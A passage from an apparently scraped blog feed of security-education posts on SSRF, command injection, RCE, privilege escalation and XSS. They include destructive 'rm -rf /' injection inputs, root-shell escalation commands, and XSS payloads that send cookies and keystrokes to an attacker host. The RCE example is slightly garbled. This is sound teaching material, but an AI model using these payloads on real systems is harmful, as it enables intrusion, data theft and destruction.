attacker exploited an SSRF vulnerability in a misconfigured web application firewall to access the EC2 metadata service. This provided temporary AWS credentials that allowed the attacker to access and exfiltrate sensitive customer information affecting over 100 million individuals. The breach resulted in $80 million in fines and an estimated $150 million in recovery costs.</p><p><strong>GitHub Actions SSRF Vulnerability (2022)</strong></p><p>Security researcher William Bowling discovered an SSRF vulnerability in GitHub Actions that could have allowed attackers to make unauthorized requests to internal GitHub services and AWS metadata endpoints. The vulnerability stemmed from insufficient validation of user-provided URLs in GitHub’s runner service. GitHub promptly fixed the issue and awarded a $25,000 bounty through their bug bounty program.</p><p><strong>Alibaba Cloud SSRF Incident (2021)</strong></p><p>Researchers uncovered an SSRF vulnerability in Alibaba Cloud services that enabled attackers to extract metadata from internal instances. The vulnerability existed in a web interface component that processed user-supplied URLs without adequate validation, potentially exposing credentials and enabling further lateral movement within cloud environments.</p><h3>Comprehensive SSRF Prevention Strategies</h3><p><strong>1. Robust Input Validation and URL Allowlisting</strong></p><ul><li>Implement strict validation of user-supplied URLs using a comprehensive parsing library<br>- Maintain an allowlist of approved domains and protocols rather than attempting to block known dangerous values<br>- Validate both the initial URL and any redirects that might occur during request handling</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*ETca8MAOF5AUVZsck7wtqA.png" /></figure><p><strong>2. Network-Level Protections</strong></p><p>- Configure firewalls to prevent outbound connections to internal IP ranges from public-facing servers<br>- Block access to common metadata service addresses (169.254.169.254, 169.254.170.2, etc.)<br>- Implement egress filtering to control which destinations servers can connect to<br>- Place vulnerable applications in isolated network segments with explicit access controls</p><p><strong>3. Secure Design Patterns</strong></p><p>- Use dedicated proxies or API gateways for external resource fetching that enforce strict security controls<br>- Implement request signing or pre-signed URLs for authorized external resource access<br>- Return only necessary information from HTTP responses to prevent information leakage</p><p><strong>4. Defense in Depth Measures</strong></p><p>- Deploy Web Application Firewalls (WAFs) with SSRF-specific detection rules<br>- Implement least privilege for service accounts used by web applications<br>- Configure metadata services to require additional authentication (IMDSv2 for AWS)<br>- Monitor outbound network connections for unusual patterns or destinations</p><p><strong>5. Modern Cloud Security Controls</strong></p><p>- In AWS, enforce IMDSv2 which requires session token-based requests to metadata services<br>- Implement appropriate IAM roles and policies that limit the permissions available to compromised credentials<br>- Configure VPC endpoints with restrictive security groups to limit access to cloud APIs</p><h3>Conclusion</h3><p>Server-Side Request Forgery represents a sophisticated attack vector that can provide attackers with unprecedented access to internal systems and sensitive data. Organizations must implement comprehensive defense strategies that address SSRF at multiple layers, from input validation to network architecture and cloud configuration.</p><p>Regular security assessments, including penetration testing specifically targeting SSRF vulnerabilities, should be conducted to identify potential weaknesses before they can be exploited. By combining technical controls with security awareness and proper application design, organizations can significantly reduce the risk posed by SSRF attacks.</p><p><strong>References</strong></p><ol><li>OWASP SSRF Prevention Cheat Sheet: <a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html</a><br>2. Cloud Security Alliance: “Top Threats to Cloud Computing”<br>3. NIST Special Publication 800–95: “Guide to Secure Web Services”<br>4. PortSwigger Web Security Academy: SSRF Vulnerability Research</li></ol><p><a href="http://ssd-disclosure.com/"><strong>SSD Secure Disclosure</strong></a><strong> </strong>helps security researchers turn their RCE findings into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=333afd84ce94" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ssd-secure-disclosure/server-side-request-forgery-ssrf-attacking-internal-networks-via-external-requests-333afd84ce94">Server-Side Request Forgery (SSRF): Attacking Internal Networks via External Requests</a> was originally published in <a href="https://medium.com/ssd-secure-disclosure">SSD Secure Disclosure</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Command Injection: When Input Becomes a Weapon]]></title>
            <link>https://medium.com/ssd-secure-disclosure/command-injection-when-input-becomes-a-weapon-3ba7ee83a059?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ba7ee83a059</guid>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[hackathons]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Sun, 19 Jan 2025 10:16:32 GMT</pubDate>
            <atom:updated>2025-01-19T10:16:32.631Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Introduction</strong></h3><p>Command Injection vulnerabilities are a classic yet devastating category of security flaws. They allow attackers to execute arbitrary system-level commands by exploiting insecure handling of user input within an application. Unlike Remote Code Execution (RCE), which often involves executing crafted payloads, Command Injection exploits an application’s direct interaction with the operating system, giving attackers unauthorized control over the underlying server or system.</p><p>This article will dive into what Command Injection is, how it works, showcase real-world examples, and explore how to secure your systems against this prevalent threat.</p><h3>What is Command Injection?</h3><p>Command Injection occurs when an application passes user input directly to system commands without properly validating or sanitizing it. If the input is not controlled, attackers can “inject” malicious commands to manipulate the system’s behavior.</p><p>Key traits of Command Injection:</p><ol><li>The application relies on system calls to perform operations.</li><li>User-supplied input is included in these system calls.</li><li>There is insufficient input validation or sanitization.</li></ol><p>This vulnerability often arises in applications that use functions like:</p><ul><li>os.system(), os.popen() in Python</li><li>Runtime.exec() in Java</li><li>Backticks (`) or exec() in PHP</li><li>Shell scripts or batch files</li></ul><h3>How Does Command Injection Work?</h3><p>Command Injection typically involves chaining malicious commands to a legitimate system command. This is achieved through shell operators like ;, &amp;&amp;, |, or backticks (`), which allow attackers to execute additional commands.</p><p>Here’s a simple flow:</p><ol><li>A web application or software takes user input to perform a task (e.g., querying a database, managing files).</li><li>The input is incorporated into a system command without validation.</li><li>The attacker supplies malicious input that alters the intended behavior of the command, executing unintended system-level operations.</li></ol><h3>Real-World Example: A File Management Tool</h3><p>Consider a file management tool that allows users to delete files via a command-line interface. The tool takes the filename as input and deletes it by running a system command.</p><h4>Vulnerable Code:</h4><pre>import os</pre><pre>def delete_file(filename):<br>    # Insecure: User input is directly passed to a system command<br>    os.system(f&quot;rm {filename}&quot;)</pre><pre>if __name__ == &quot;__main__&quot;:<br>    filename = input(&quot;Enter the file to delete: &quot;)<br>    delete_file(filename)</pre><h4>Exploitation:</h4><p>If a user enters the input important_file.txt, the tool runs:</p><pre>rm important_file.txt</pre><p>This works as intended. However, an attacker could input something like:</p><pre>important_file.txt; rm -rf /</pre><p>This results in the command:</p><pre>rm important_file.txt; rm -rf /</pre><p>Here’s what happens:</p><ol><li>The rm important_file.txt command is executed.</li><li>The ; operator chains a second command, rm -rf /, which recursively deletes all files on the system root directory (if permissions allow).</li></ol><h3>Impact of Command Injection</h3><p>Command Injection vulnerabilities can lead to severe consequences, including:</p><ul><li><strong>Data Theft:</strong> Attackers can read sensitive files using commands like cat or less.</li><li><strong>System Control:</strong> Commands like wget or curl can download and execute malware.</li><li><strong>Service Disruption:</strong> Attackers can delete critical files, shut down processes, or crash systems.</li><li><strong>Privilege Escalation:</strong> If exploited on a misconfigured system, attackers may escalate privileges to gain administrative access.</li></ul><h3>High-Profile Command Injection Attacks</h3><p>Here are some notable examples where Command Injection left a lasting impact:</p><ol><li><strong>Equifax Data Breach (2017):</strong> A Command Injection vulnerability in Apache Struts allowed attackers to execute arbitrary commands on Equifax’s servers, leading to the exfiltration of over 140 million personal records.</li><li><strong>Cisco Prime Infrastructure Vulnerability (CVE-2019–1821):</strong> This flaw in Cisco’s management software allowed attackers to execute arbitrary commands on the underlying system. Exploiting the vulnerability provided attackers with full control over the affected devices.</li><li><strong>Jenkins RCE via Command Injection:</strong> Jenkins, a popular CI/CD tool, has faced multiple vulnerabilities where attackers could inject commands into configuration fields, gaining control over build servers.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPMI8glKJmrfZSDggcsrpQ.png" /></figure><h3>How to Prevent Command Injection?</h3><p>Preventing Command Injection requires secure coding practices and careful handling of user input. Here are key defense strategies:</p><ol><li><strong>Avoid System Commands When Possible:</strong> If possible, use APIs or libraries that handle tasks internally rather than relying on system-level commands. For example:</li></ol><ul><li>Use Python’s os and shutil libraries for file management.</li><li>Use database APIs like sqlite3 instead of invoking system commands for queries.</li></ul><p><strong>2. Input Validation:</strong> Validate all user input against a strict set of rules. For example:</p><ul><li>Whitelist allowed input patterns or values.</li><li>Reject input containing suspicious characters (;, &amp;, |, etc.).</li></ul><p><strong>3. Sanitize Input:</strong> If you must use system commands, sanitize user input to escape special characters. For example:</p><p>import shlex</p><p>sanitized_input = shlex.quote(user_input)</p><p><strong>4. Use </strong><strong>subprocess.run() with </strong><strong>shell=False:</strong> Avoid using os.system() or similar functions that rely on shell parsing. Instead, use subprocess.run() with the shell argument set to False. This ensures commands and arguments are executed securely without invoking a shell.</p><p>Example (secure implementation):</p><pre>import subprocess<br><br>def delete_file(filename):<br>    try:<br>        subprocess.run([&quot;rm&quot;, filename], shell=False)<br>    except Exception as e:<br>        print(f&quot;Error: {e}&quot;)</pre><p><strong>5. Least Privilege Principle:</strong> Run applications with the minimum privileges required. Even if an attacker exploits a Command Injection flaw, the damage will be limited if the application doesn’t run as an administrator.</p><p><strong>6. Security Audits and Testing:</strong> Regularly audit your codebase for Command Injection vulnerabilities. Use automated tools like static analysis and dynamic testing to identify insecure patterns.</p><h3>Conclusion</h3><p>Command Injection vulnerabilities are deceptively simple yet extremely dangerous. They exploit the gap between user input and system command execution, turning innocent-looking input fields into powerful weapons. By understanding the mechanics of Command Injection and adopting secure coding practices, developers can defend their applications against this prevalent threat.</p><p>Always remember: <strong>never trust user input, especially when interfacing with system commands.</strong></p><p><a href="http://ssd-disclosure.com/"><strong>SSD Secure Disclosure</strong></a><strong> </strong>helps security researchers turn their RCE findings into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ba7ee83a059" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ssd-secure-disclosure/command-injection-when-input-becomes-a-weapon-3ba7ee83a059">Command Injection: When Input Becomes a Weapon</a> was originally published in <a href="https://medium.com/ssd-secure-disclosure">SSD Secure Disclosure</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remote Code Execution: The Cybercriminal’s Golden Ticket]]></title>
            <link>https://medium.com/ssd-secure-disclosure/remote-code-execution-the-cybercriminals-golden-ticket-44fe2d0a6353?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/44fe2d0a6353</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Wed, 30 Oct 2024 09:35:17 GMT</pubDate>
            <atom:updated>2024-11-01T10:04:31.378Z</atom:updated>
            <content:encoded><![CDATA[<p>Imagine a vulnerability so dangerous that an attacker can execute any command they want on your system from anywhere in the world. That’s exactly what Remote Code Execution (RCE) does. RCE is a critical vulnerability that allows attackers to remotely execute malicious code on a system. Whether it’s installing malware, stealing sensitive data, or gaining administrative control, RCE gives attackers virtually unlimited power over the affected system.</p><p>In this article, we’ll break down what RCE is, how it works, real-world cases where it wreaked havoc and show why understanding RCE is crucial as it still remains one of the most powerful weapons in an attacker’s arsenal.</p><h3>What is Remote Code Execution?</h3><p>Remote Code Execution is a security vulnerability that allows attackers to run arbitrary code on a target machine, often without the owner’s knowledge or consent. When an application or system is vulnerable to RCE, it means that an attacker can remotely inject and execute malicious code, gaining control over the target’s server, network, or device.</p><p>The severity of RCE lies in the fact that it opens the door to a range of attacks. Once an attacker has executed code on the system, they can:</p><ul><li><strong>Install malware</strong> like ransomware or keyloggers</li><li><strong>Steal sensitive data</strong> such as passwords, personal information, or financial records</li><li><strong>Escalate privileges</strong> to gain administrative control</li><li><strong>Move laterally</strong> across networks to attack other systems</li></ul><p>In the worst-case scenario, RCE can lead to complete system takeover.</p><h3>How Does RCE Work?</h3><p>RCE vulnerabilities occur when applications don’t properly validate or sanitize user input. Let’s say a web application accepts some input from users, like data fields or file uploads. If the application doesn’t verify or sanitize that input, an attacker could inject malicious code instead of the expected data.</p><p>Here’s a simplified example:</p><p>Consider a vulnerable web app that takes a user’s input and passes it to a system function, like this:</p><pre>def check_file_type(filename):<br>    res = subprogress.check_output(f&quot;/usr/bin/file {filename}&quot;, stderr=subprocess.STDOUT, shell=True)<br>    return res</pre><p>This would cause the system to run the command, potentially deleting all files on the server.</p><p>Another common entry point is through deserialization, where an attacker crafts a malicious object or data format and sends it to the application. If the application blindly deserializes the data, the malicious code is executed during that process.</p><h3>Exploiting RCE in a Command-Line Tool</h3><p>In this case, we have a simple Python script that takes user input and passes it to the system’s command line for execution. If the input is not properly sanitized or validated, an attacker can inject malicious commands.</p><h4>Vulnerable Code:</h4><pre>import os<br><br>def run_command(user_input):<br>    # Insecure: passes user input directly to the system command<br>    os.system(user_input)<br><br>if __name__ == &quot;__main__&quot;:<br>    user_input = input(&quot;Enter a command: &quot;)<br>    run_command(user_input)</pre><h4>What’s Wrong with This Code?</h4><p>The script accepts input from the user and passes it directly to the os.system() function, which executes the input as a system command. There is no validation or filtering of the input, allowing the user to inject harmful commands.</p><p>An attacker can exploit this by entering dangerous system commands instead of the expected input. For example:</p><h4>User Input (malicious):</h4><pre>ls; rm -rf /</pre><p>The ls command lists the directory contents, but the semicolon (;) allows the attacker to chain another command—rm -rf /, which attempts to delete everything on the system (in a Linux/Unix environment).</p><p>When the input is executed by os.system(), the entire chain of commands is run:</p><pre>os.system(&quot;ls; rm -rf /&quot;)</pre><p>This results in both commands being executed, with potentially disastrous consequences.</p><h3>Real-World Examples of RCE Attacks</h3><p>RCE vulnerabilities are often found in widely used software and systems, which means they can have far-reaching consequences. Here are a few notable examples:</p><ol><li><strong>Equifax Breach (2017):</strong> One of the most infamous data breaches in history, the Equifax breach, was caused by an RCE vulnerability in Apache Struts. Attackers exploited this flaw to steal personal data of over 147 million people.</li><li><strong>Microsoft Exchange RCE (2021):</strong> A series of RCE vulnerabilities in Microsoft Exchange servers allowed attackers to gain remote access and execute commands. This led to a wave of attacks, including widespread ransomware campaigns.</li><li><strong>Log4Shell Vulnerability (2021):</strong> The Log4j library, used in countless applications, was found to be vulnerable to RCE. This flaw allowed attackers to inject malicious code into servers by sending specially crafted log messages. The vulnerability affected everything from web applications to cloud services, causing global panic.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZmrINXenkQ0bSyX7QsS_A.png" /></figure><h3>Conclusion</h3><p>Remote Code Execution is one of the most severe vulnerabilities a system can face, often leading to complete compromise of the affected system. The ability for attackers to execute arbitrary code remotely makes RCE a favorite for cybercriminals and a critical risk for organizations.</p><p>To mitigate the risk of RCE, developers and security teams must be vigilant in secure coding practices, regularly update their systems, and conduct thorough security audits. With proactive defenses, you can significantly reduce the risk of falling victim to one of the most dangerous cyber threats out there.</p><p><a href="http://ssd-disclosure.com/"><strong>SSD Secure Disclosure</strong></a><strong> </strong>helps security researchers turn their RCE findings into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44fe2d0a6353" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ssd-secure-disclosure/remote-code-execution-the-cybercriminals-golden-ticket-44fe2d0a6353">Remote Code Execution: The Cybercriminal’s Golden Ticket</a> was originally published in <a href="https://medium.com/ssd-secure-disclosure">SSD Secure Disclosure</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Local Privilege Escalation: How to Identify and Exploit System Vulnerabilities]]></title>
            <link>https://medium.com/ssd-secure-disclosure/mastering-local-privilege-escalation-how-to-identify-and-exploit-system-vulnerabilities-0504688d7a71?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/0504688d7a71</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[code]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[white-hat-hacker]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Thu, 10 Oct 2024 13:00:31 GMT</pubDate>
            <atom:updated>2024-10-10T13:51:04.017Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Local Privilege Escalation (LPE)</strong> refers to a type of vulnerability that allows an attacker with limited privileges (such as a regular user account) to gain higher-level access (such as root or administrator) on a system. LPE attacks can typically occur after an attacker has already gained local access to a system but seeks to elevate their permissions to carry out more destructive actions, such as accessing sensitive data, executing privileged commands, or installing persistent backdoors. LPE attacks target weaknesses in the operating system, applications, services, or security configurations that lead to unintended access elevation.</p><p>The LPE concept is based on access rights for different tiers of a system:</p><p><strong>High tier: </strong>Higher-privileged accounts, like root (Linux) or Administrator (Windows), have unrestricted access to the system.</p><p><strong>Low tier:</strong> every user on a system has specific access rights or privileges. These include the ability to execute commands, access files, and interact with various system components.</p><p>LPE involves leveraging a flaw to move from a lower-privileged user (e.g., a standard user) to a higher-privileged account (e.g., root/Administrator).</p><p>The two types of Privilege Escalation are:</p><ul><li><strong>Vertical Privilege Escalation</strong>: In this form, an attacker escalates from a lower privilege to a higher privilege (like from a normal user to a root/admin user).</li><li><strong>Horizontal Privilege Escalation</strong>: This involves gaining access to another user’s account with the same level of privileges, but it may provide access to sensitive information specific to that user.</li></ul><h3><strong>Identifying LPE Vulnerabilities</strong></h3><p>There are different techniques to discover vulnerabilities that lead to LPE:</p><p><strong>Review File and Directory Permissions</strong><br>This technique checks for incorrect or insecure file permissions that allow unauthorized users to modify sensitive files. It also looks for world-writable files owned by root or other high-privilege accounts using commands like:</p><pre>find / -perm -2 ! -type l -ls</pre><p><strong>SUID/SGID binaries</strong></p><p>This technique looks for binaries with the SUID or SGID bits set, which can run with elevated privileges even if executed by lower-privileged users:</p><pre>find / -perm /4000 2&gt;/dev/null</pre><p><strong>Weak Service Configurations</strong><br>Here we will check for services that run with elevated privileges but are accessible to lower-privileged users. It mainly searchers for misconfigurations in common services like cron, sudo, or setuid binaries. For example, check `/etc/crontab` and user-specific cron jobs for potentially exploitable entries.</p><p><strong>Kernel Vulnerabilities</strong><br> Kernel exploits often lead to LPE. You can identify the kernel version using:</p><pre>uname -r</pre><p>Here we will look for known vulnerabilities or security patches that were not applied to the current version. Tools like `searchsploit` or `exploit-db` can help identify publicly known exploits:</p><pre>searchsploit linux kernel</pre><p><strong>Analyze Vulnerable Programs or Applications</strong><br> This method can identify custom or third-party software running with elevated privileges. It uses tools like `strace` or `ltrace` to monitor the behavior of binaries to detect possible vulnerabilities in how they handle input, files, or permissions:</p><pre>strace -o output.log ./vulnerable_program</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOxsgfFKhu1dmZ28dkiftg.png" /></figure><h3>Exploiting LPE Vulnerabilities</h3><p>Once you’ve identified a potential vulnerability, the next step is exploiting it to elevate your privileges. Here’s how a general process looks like:</p><p><strong>Exploiting SUID/SGID Binaries</strong><br> If you’ve found a binary with the SUID or SGID bit set, the goal is to manipulate the binary to run arbitrary code with elevated privileges.</p><p>In example: A vulnerable SUID binary allows a low-privileged user to escalate to root:</p><pre>./vulnerable_binary</pre><p>If the binary is exploitable, inject custom shell commands that execute with root privileges:</p><pre>echo ‘sh’ &gt; /tmp/exploit.sh<br> chmod +x /tmp/exploit.sh<br> ./vulnerable_binary /tmp/exploit.sh</pre><p><strong>Abusing Misconfigured Services</strong><br> Exploiting a cron job with weak file permissions could involve replacing a script executed by root with malicious code:<br> 1. Replace the cron job file with a reverse shell or other code.<br> 2. Wait for the cron job to execute, elevating your privileges when it runs with root permissions.</p><p><strong>Exploiting Kernel Vulnerabilities</strong><br> Kernel vulnerabilities often require you to run specific exploit code against the current kernel version. This might involve:<br> — Compiling an exploit from `exploit-db` or `searchsploit`.<br> — Running the compiled binary to trigger the vulnerability:</p><pre>gcc -o exploit exploit.c<br> ./exploit</pre><p>Successful execution will grant you a root shell.</p><p><strong>Exploiting Insecure Configurations</strong><br> Misconfigured sudo permissions (e.g., allowing unrestricted execution of certain binaries) can be exploited. If a binary like `vi` or `vim` can be run with elevated privileges, you can use the `:!sh` command in `vi` to spawn a root shell:</p><pre>sudo vi<br> :!sh</pre><h3>Post-Exploitation</h3><p>After successfully escalating privileges, attackers may want to gather additional information, explore sensitive directories, read restricted files (e.g., `/etc/shadow`) and maintain their system access. In most cases, hackers will try to install backdoors or modify SSH keys for persistent access.<br><br>Local Privilege Escalation vulnerabilities are powerful tools in the arsenal of attackers but are also highly preventable with regular security hygiene and configuration checks. For cybersecurity researchers and red teamers, finding and exploiting these weaknesses requires a solid understanding of operating system internals and security flaws, combined with knowledge of the specific tools and exploits available.</p><p><a href="http://ssd-disclosure.com/"><strong>SSD Secure Disclosure</strong></a><strong> </strong>helps security researchers turn their LPE findings into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0504688d7a71" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ssd-secure-disclosure/mastering-local-privilege-escalation-how-to-identify-and-exploit-system-vulnerabilities-0504688d7a71">Mastering Local Privilege Escalation: How to Identify and Exploit System Vulnerabilities</a> was originally published in <a href="https://medium.com/ssd-secure-disclosure">SSD Secure Disclosure</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unmasking XSS: How to Identify and Exploit Cross-Site Scripting Vulnerabilities]]></title>
            <link>https://medium.com/ssd-secure-disclosure/unmasking-xss-how-to-identify-and-exploit-cross-site-scripting-vulnerabilities-d443ce92f937?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/d443ce92f937</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[code]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Thu, 26 Sep 2024 09:05:50 GMT</pubDate>
            <atom:updated>2024-09-26T09:05:50.853Z</atom:updated>
            <content:encoded><![CDATA[<p>Cross-Site Scripting (XSS) is a widespread and dangerous vulnerability that affects many modern web applications. The term “Cross-Site Scripting” primarily refers to vulnerabilities that occur when a web application allows users to inject malicious scripts. However, similar vulnerabilities can be found in other environments that execute scripts or display untrusted content.</p><p>According to the Open Web Application Security Project (OWASP), XSS consistently ranks among the top 10 most critical security risks for web applications.</p><p>When a vulnerable web application processes untrusted data — such as user comments, search queries, or URL parameters — without securing it, an attacker can exploit this flaw to inject harmful JavaScript or other client-side scripts. These malicious scripts are then executed in the victim’s browser as if they originated from the trusted website itself.</p><p>The consequences of a successful XSS attack can be severe. An attacker could hijack user sessions, enabling them to act on behalf of the victim, such as performing transactions or changing settings. XSS can also be used to steal sensitive information, such as cookies, login credentials, or personal data. Additionally, attackers can manipulate web pages by modifying their content or executing unauthorized actions, potentially causing further reputational and financial damage to both the victim and the service provider.</p><p>Here are a few examples of where XSS-like vulnerabilities can appear:</p><h4>1. Mobile Applications:</h4><p>Mobile apps, especially those that use WebViews to display web content, are susceptible to XSS attacks if they fail to sanitize user inputs or outputs properly. WebViews essentially render web content within the app, and if malicious scripts are injected into this content, the same XSS risks apply. For instance, attackers could steal sensitive information from the mobile app by manipulating the WebView.</p><h4>2. Desktop Applications:</h4><p>Some desktop applications include embedded web browsers or components that display web-based interfaces. If these components load external or user-generated content without proper sanitization, XSS vulnerabilities can be exploited. In such cases, an attacker could execute scripts within the application context, leading to data theft, session hijacking, or malicious manipulation of the application.</p><h4>3. Browser Extensions:</h4><p>Browser extensions can also be vulnerable to XSS attacks. If an extension injects content into a web page (such as toolbars, popups, or overlays) and fails to properly sanitize or escape user input, it may inadvertently introduce an XSS vulnerability. This can lead to unauthorized access to browser data, such as cookies or local storage, or even allow an attacker to manipulate the functionality of the extension itself.</p><h4>4. IoT Devices and Embedded Systems:</h4><p>Some Internet of Things (IoT) devices, like smart cameras, routers, or home automation systems, have web interfaces that administrators use to configure the device. These interfaces may also be vulnerable to XSS attacks if they allow for user input (e.g., settings, network configurations) without proper validation. An attacker could inject malicious scripts into these interfaces, leading to device control or access to sensitive data stored in or managed by the IoT system.</p><h4>5. API Responses and Microservices:</h4><p>Though not traditional XSS, web services and APIs that return HTML or client-rendered content can also introduce scripting vulnerabilities. If an API response includes unsanitized user input that is consumed by a client (e.g., a web application or mobile app), the vulnerability could lead to script execution on the client-side, exposing similar risks.</p><p>XSS thrives because many developers underestimate how even seemingly harmless data, like text inputs, can become vectors for attacks. Therefore, understanding how to identify and exploit XSS vulnerabilities is a critical skill for security professionals conducting penetration testing, bug bounty hunting, or securing their own web applications. Identifying these flaws allows defenders to better mitigate risks, while demonstrating their impact helps illustrate the urgency of addressing them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nshfh-uQvtUmhrXZ5ZgUIg.png" /></figure><h3><strong>How it works?</strong></h3><p>XSS occurs when an application allows untrusted data (e.g., user input) to be included in web pages without proper validation or escaping. There are three main types of XSS vulnerabilities:</p><ul><li><strong>Stored XSS</strong>: Malicious script is permanently stored on the target server (e.g., in a database) and executed when users load a page containing the injected script.</li><li><strong>Reflected XSS</strong>: Malicious script is reflected off a web server and executed immediately when a user clicks a crafted link or submits a malicious form.</li><li><strong>DOM-based XSS</strong>: The script is executed as a result of modifying the Document Object Model (DOM) in the browser, rather than relying on server-side flaws.</li></ul><h3>How to know if its an XSS?</h3><p>To identify XSS vulnerabilities, we need to focus on how user input is handled in the application. XSS can be tested in various ways:</p><ul><li><strong>Input Fields</strong>: injecting simple payloads into input fields like search boxes, comment sections, or any form fields.</li></ul><p>Example payload:</p><blockquote>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</blockquote><ul><li><strong>URLs</strong>: If the application reflects parts of the URL back into the page, such as search results or error messages, manipulate the URL by injecting a payload.</li></ul><p>Example:</p><blockquote>http://example.com/search?query=&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</blockquote><ul><li><strong>Inspecting HTML Source Code</strong>: Check if user inputs are embedded directly into HTML elements, such as inside &lt;div&gt;, &lt;span&gt;, &lt;script&gt;, or as attributes like href, src, onerror, etc.</li><li><strong>Browser Developer Tools</strong>: Use tools like the browser&#39;s Developer Tools to inspect JavaScript, HTML, and network requests. Look for unsanitized user input in script blocks, event handlers, or embedded directly in the DOM.</li><li><strong>Automated Scanners</strong>: Tools like <strong>Burp Suite</strong>, <strong>OWASP ZAP</strong>, or <strong>Netsparker</strong> can help in identifying potential XSS vulnerabilities automatically.</li></ul><h4>Crafting Exploits for XSS</h4><p>Once an XSS vulnerability is identified, you can craft more advanced payloads to demonstrate its impact. Exploiting XSS typically involves making the victim’s browser execute JavaScript that can steal cookies, manipulate DOM elements, or perform actions as the victim.</p><ul><li><strong>Basic XSS Exploit (Alert Box)</strong>: A simple example is displaying an alert box, often used to confirm that XSS exists.</li></ul><blockquote>&lt;script&gt;alert(&#39;XSS Vulnerability&#39;)&lt;/script&gt;</blockquote><ul><li><strong>Cookie Stealing via XSS</strong>:</li></ul><blockquote>&lt;script&gt;document.location=&#39;http://attacker.com/steal?cookie=&#39;+document.cookie;&lt;/script&gt;</blockquote><p>The script redirects the victim’s browser to the attacker’s site with the victim’s cookies in the query string. This can be used to hijack the victim&#39;s session.</p><ul><li><strong>Session Hijacking</strong>: After stealing cookies, you can use them to hijack the victim’s session. If the session ID is in the cookie, an attacker can impersonate the user by replaying their session.</li><li><strong>DOM Manipulation</strong>: You can also modify the page content to create phishing scenarios.</li></ul><blockquote>&lt;script&gt; document.body.innerHTML = &#39;&lt;h1&gt;Account Suspended. Please Re-enter your Credentials&lt;/h1&gt;&#39;; &lt;/script&gt;</blockquote><ul><li><strong>Keylogging and Phishing</strong>: Inject a keylogger or steal sensitive input data.</li></ul><blockquote>&lt;script&gt; document.onkeypress = function(e) { var key = e.which || e.keyCode; document.location = &#39;http://attacker.com/log?key=&#39; + String.fromCharCode(key); }; &lt;/script&gt;</blockquote><p>XSS remains a common vulnerability because it can be difficult to handle user input safely in all cases. Properly identifying and exploiting XSS vulnerabilities requires both manual testing techniques and automated tools. By learning how to effectively exploit these weaknesses, you can help secure web applications by revealing where they are vulnerable and implementing the necessary fixes.</p><p><a href="http://ssd-disclosure.com/"><strong>SSD Secure Disclosure</strong></a><strong> </strong>helps security researchers turn their XSS findings into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d443ce92f937" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ssd-secure-disclosure/unmasking-xss-how-to-identify-and-exploit-cross-site-scripting-vulnerabilities-d443ce92f937">Unmasking XSS: How to Identify and Exploit Cross-Site Scripting Vulnerabilities</a> was originally published in <a 